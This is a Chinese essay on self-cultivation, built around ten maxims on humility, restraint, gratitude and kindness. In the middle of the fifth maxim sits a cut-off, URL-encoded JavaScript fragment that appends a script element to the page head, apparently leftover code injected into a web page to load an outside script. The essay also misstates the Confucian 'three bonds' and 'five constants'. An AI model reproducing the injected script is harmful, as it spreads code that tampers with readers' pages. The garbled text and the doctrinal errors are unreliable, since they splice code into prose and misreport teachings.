修身：就是使自己的心灵得到净化、纯洁。养性：就是使自己的本性不受损害。通过自我反省体察，使身心达到完美的境界。个人修身不仅饱含了为人、修身、处世的智慧，还包含着始终要有一颗平常心去应对日常的烦恼和不幸。
中国封建社会的个人修养，主要是灌输儒家的修身思想，所谓“三纲五常”就是个人修身的核心内容。“三纲”指“君臣义、父子亲、夫妻顺”；“五常”指“仁、义、理、智、信”。“三纲五常”实际上就是一种个人修身养性的衡量标准。
1、不要自视清高
天外有天，人上有人，淡泊明志，宁静致远；
当别人把你当领导时，自己不要把自己当领导；
当别人不把你当领导时，自己一定要把自己当领导权力是一时的，金钱是身外的，身 体是自己的，做人是长久的。
2、不要盲目承诺
言而有信，种下行动就会收获习惯，种下习惯便会收获性格，种下性格便会收获命运；习惯造就一个人。
3、不要轻易求人
把自己当别人--- 减少痛苦、平淡狂喜；
把别人当自己--- 同情不幸，理解需要；
把别人当别人--- 尊重独立性，不侵犯他人；
把自己当自己--- 珍惜自己，快乐生活；
能够认识别人是一种智慧，能够被别人认识是一种幸福，能够自己认识自己是圣者贤人。
4、不要强加于人
人本是人，不必刻意去做人；
世本是世，无须精心去处世；
人生三种境界：
看山是山，看水是水—人之初，
看山不是山，看水不是水—人到中年，
看山还是山，看水还是水—回归自然。
5、不要取笑别人
损害他人人格，快乐一时，伤害一生，
cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"> 生命的整体是相互依存的，世界上每一样东西都依赖其它另一样东西，学会感恩。
感恩大自然的福佑，感恩父母的养育，感恩社会的安定，感恩食之香甜，
感恩衣之温暖，感恩花 草鱼虫，感恩苦难逆境。
6、不要乱发脾气
一伤身体，二伤感情；
人与人在出生和去世中都是平等的—哭声中来，哭声中去。
千万注意自己恋恋不舍，而别人早就是去意已决；
人生应看三座山：井冈山、普陀山、八宝山；
退一步海阔天空，忍一事风平浪静，
牢骚太多防肠断，风物长宜放眼量。
7、不要信口开河
言多必失，沉默是金；
倾听是一种智慧、一种修养、一种尊重、一种心灵的沟通；
平静是一种心态、一种成熟。
8、不要小看仪表
撒播美丽，收获幸福；
仪表是一种心情，仪表是一种力量；
在自己审视美的同时，让别人欣赏美；
心灵瑜伽—调适、修炼、超越。
9、不要封闭自己
帮助人是一种崇高；
理解人是一种豁达；
原谅人是一种美德；
服务人是一种快乐；
月圆是诗，月缺是花，仰首是春，俯首是秋。
10、不要欺负老实人
同情弱者是一种品德、一种境界、一种和谐；
心理健康，才能身体健康；
人有一分器量，便多一分气质；
人有一分气质，便多一分人缘；
人有一分人缘，便多一分事业。
积善成德、修身养性。
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